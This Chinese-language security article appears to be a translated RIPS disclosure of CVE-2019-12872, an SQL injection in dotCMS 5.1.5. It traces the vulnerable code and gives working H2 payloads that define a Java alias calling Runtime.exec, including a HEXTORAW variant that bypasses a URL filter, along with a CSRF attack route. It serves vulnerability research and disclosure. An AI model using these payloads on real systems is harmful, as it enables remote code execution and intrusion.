dotCMS 5.1.5：利用H2 SQL注入实现RCE-安全客

0x00 前言

在本文中，我们利用由RIPS代码分析系统发现的一个SQL注入漏洞（CVE-2019-12872），在基于java的内容管理系统dotCMS上实现了远程代码执行。

未授权攻击者可以通过CSRF或者以Publisher角色来利用这个SQL注入漏洞。攻击者可以执行堆叠SQL查询（stacked queries），这意味着当目标服务使用的是H2数据库时，攻击者有可能篡改任意数据库条目，甚至执行shell命令。

0x01 漏洞分析

dotCMS有个Push Publishing功能，该功能可以将内容从一个服务器远程发布到另一个服务器，比如从测试环境发布到生产环境。此外，用户可以将多个内容集合到一个bundle（捆绑包）中，然后直接推送这个bundle，不用单独推送每个内容。攻击者可以利用这个功能，将一个bundle推送到发布队列中，并且注入SQL语句。详细信息请参考RIPS的扫描报告。

我们可以通过view_unpushed_bundles.jsp文件来查看尚未推送的bundle。攻击者的入口点可以参考如下代码片段，其中系统会调用存在漏洞的deleteEndPointById()函数。漏洞利用前提是未发布的bundle需要位于待发布队列中，否则整个执行流程将不会触及第7行代码。然而作为内容发布者，我们可以简单将bundle推送到队列中。系统会在代码第6行，通过HTTP GET或者POST参数delEp接收未过滤的用户输入数据，然后将其以参数id传递给deleteEndPointById()函数。

代码源文件：html/portlet/ext/contentlet/publishing/view_unpushed_bundles.jsp：

...
<%
    for(Bundle bundle : bundles){
          hasBundles=true;
      if(null!=request.getParameter("delEp")){
       String id = request.getParameter("delEp");
       pepAPI.deleteEndPointById(id);
      }
    ...
    }
%>
...

deleteEndPointById()函数随后会调用completeDiscardConflicts()，后者依然会通过参数id来传递未过滤的用户输入数据。

com.dotcms.publisher.endpoint.business.PublishingEndPointAPIImpl：

public class PublishingEndPointAPIImpl implements PublishingEndPointAPI {

    public void deleteEndPointById(String id) throws DotDataException {
        ...
        integrityUtil.completeDiscardConflicts(id);
        ...
    }
    ...
}

进一步跟踪后，我们可以找到discardConflicts()函数（如下所示），其中在第5行，用户输入会通过endpointId参数拼接到DELETE查询语句中。这里没有任何输入过滤机制，也没有预置的安全语句，攻击者可以将任意SQL语法注入已有的SQL查询语句中。

com.dotcms.integritycheckers.AbstractIntegrityChecker：

private void discardConflicts(final String endpointId, IntegrityType type)
     throws DotDataException {
   ...
   dc.executeStatement("delete from " + resultsTableName + " where endpoint_id = '"
       + endpointId + "'");
   }

DotConnect类的executeStatement()函数代码如下所示，其中代码会使用java.sql.Statement.execute来执行被攻击者污染的sql字符串。有趣的是，该函数支持堆叠查询，这意味着我们可以连续执行任意SQL命令。不幸的是，我们不能直接接收执行命令的输出结果。然而，我们可以通过盲注方式（基于时间或者基于错误的方式），或者通过操控任意数据库条目来读取数据库内容。

com.dotmarketing.common.db.DotConnect：

public class DotConnect {

    public boolean executeStatement(String sql) throws SQLException {
        boolean ret = stmt.execute(sql);
    }
}

系统并没有使用CSRF令牌来保护可以触发SQL注入的源头JSP文件。因此，如果未经授权的攻击者成功诱骗内容发布者访问攻击者控制的网站，那么就能利用这个SQL注入漏洞。

0x02 利用H2 SQL注入漏洞

默认情况下，DotCMS会捆绑H2数据库。经过一番研究后，我们发现H2允许用户定义函数别名，因此可以执行Java代码。简单的查询语句如下所示，该语句可以创建名为REVERSE的函数别名，其中包含我们构造的Java代码payload。然后我们可以使用CALL语句调用这个别名，执行我们的Java payload。

CREATE ALIAS REVERSE AS 
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;
CALL REVERSE('Test');

为了实现远程代码执行（RCE），攻击者可以通过java.lang.Runtime.exec()来执行系统命令。

CREATE ALIAS EXEC AS 
$$ void e(String cmd) throws java.io.IOException 
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC('whoami');

然而这里我们还面临最后一个挑战。dotCMS中有一个URL过滤器，不允许我们在URL中使用花括号（{}或者经过URL编码后的%7b%7d）。由于CREATE ALIAS指令可以使用字符串（String）作为源代码，因此我们可以成功绕过这个限制。这意味着我们不需要使用$符号，可以使用内置的SQL函数来编码我们的payload。

CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');

0x03 时间线

日期	进度
2019/05/27	通过security@dotcms.com向dotCMS反馈漏洞细节
2019/06/06	厂商确认漏洞存在，准备在5.1.6中解决这个问题
2019/06/06	厂商发布5.1.6版

0x04 总结

在本文中，我们分析了dotCMS 5.1.5中的一个嵌套型SQL注入漏洞，该漏洞可以通过JSP文件触发。攻击者需要具备Publisher权限来创建未推送的bundle，然后就能注入任意SQL命令。我们发现如果dotCMS实例依赖于H2数据库，那么攻击者可以利用这个漏洞实现远程代码执行。然而，如果使用的是其他数据库，那么攻击者还是有可能实现远程代码执行，因为攻击者可以创建一个新的管理员用户，或者覆盖数据库中的序列化对象，这样在反序列化时就有可能执行代码。这里我们要感谢dotCMS安全团队，他们的沟通方式非常专业，解决问题也非常高效。